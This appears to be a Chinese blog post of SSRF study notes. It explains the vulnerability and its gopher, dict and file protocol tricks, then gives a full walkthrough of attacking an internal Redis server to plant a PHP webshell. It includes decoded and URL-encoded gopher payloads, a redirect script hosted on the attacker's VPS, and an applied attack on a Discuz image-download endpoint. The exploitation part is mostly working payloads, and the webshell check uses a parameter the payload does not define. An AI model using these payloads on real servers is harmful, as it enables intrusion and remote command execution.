ssrf漏洞学习笔记


SSRF定义

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
SSRF漏洞成因为由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、下载等等。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

在这里插入图片描述


SSRF常见触发点

从其他服务器应用获取数据的功能点都有可能存在SSRF
在这里插入图片描述

可以有以下场景:

图片加载之以图识图
在这里插入图片描述

图片加载之图像变化
在这里插入图片描述
预览内容之预览网址等等
在这里插入图片描述

SSRF利用

在这里插入图片描述

常见SSRF利用协议

  1. file协议:是一种用于访问本地文件系统的协议,用于访问本地计算机中的文件,好比通过资源管理器中打开文件一样,需要主要的是它是针对本地的,即file协议是访问你本机的文件资源。
  2. dict协议:词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。
  3. gopher:gopher协议是个tcp/ip协议,通过gopher协议可以发送tcpstream。Gopher协议是 HTTP协议出现之前,在Internet上常见且常用的一个协议。它可以说是SSRF中的万金油,。利用此协议可以攻击内网的redis、ftp等等,也可以发送 GET、POST请求。这无疑极大拓宽了SSRF的攻击面。
    gopher协议格式如下:
gopher://<host>:<port>/<gopher-path>_后接TCP数据流

利用gopher协议攻击内网redis

1、首先需取github下载gopher协议url生成工具,下载链接为https://github.com/tarunkant/Gopherus
2、运行python脚本,生成基于·gopher协议的payload。(前提是内网中开启了redis)
在这里插入图片描述
将url进行decode之后的内容为

gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$34
<?php system($_GET['cmd']); ?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

3、在自己的vps上编写test.php,内容如下

<?php
header("Location: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22pass%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Aszhuo.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A");
?>

web启动服务,并将存在ssrf漏洞的URL指定为http://自己的ip:端口号/文件uri。

discuz ssrf攻击内网redis实战记录

1、漏洞位置

http://IP地址/forum.php?mod=ajax&action=downremoteimg&message=[img]漏洞点/?data=helo.jpg[/img]

2、漏洞验证

生成一个dnslog,然后将漏洞点处改为http://dnslog,查看dnslog是否有解析记录

3、phpshell

探测到存在ssrf漏洞,并且目标存在一个redis服务,所以就可以尝试操作内网写入计划任务,并在/var/www/html下生成一个php木马
利用上面的gopher生成工具生成一个payload,编写如下代码

<?php
header("Location: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22pass%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Aszhuo.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A");
?>

4、验证是否成功

启动vps,将上述php文件放入vps根目录下,在存在ssrf漏洞处的url改为:

http://IP地址/forum.php?mod=ajax&action=downremoteimg&message=[img]http://vps/test.php/?data=helo.jpg[/img]

然后再检查检查http://discuz IP地址/szhuo.php?cmd=ls是否能正常显示当前文件夹下的内容。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值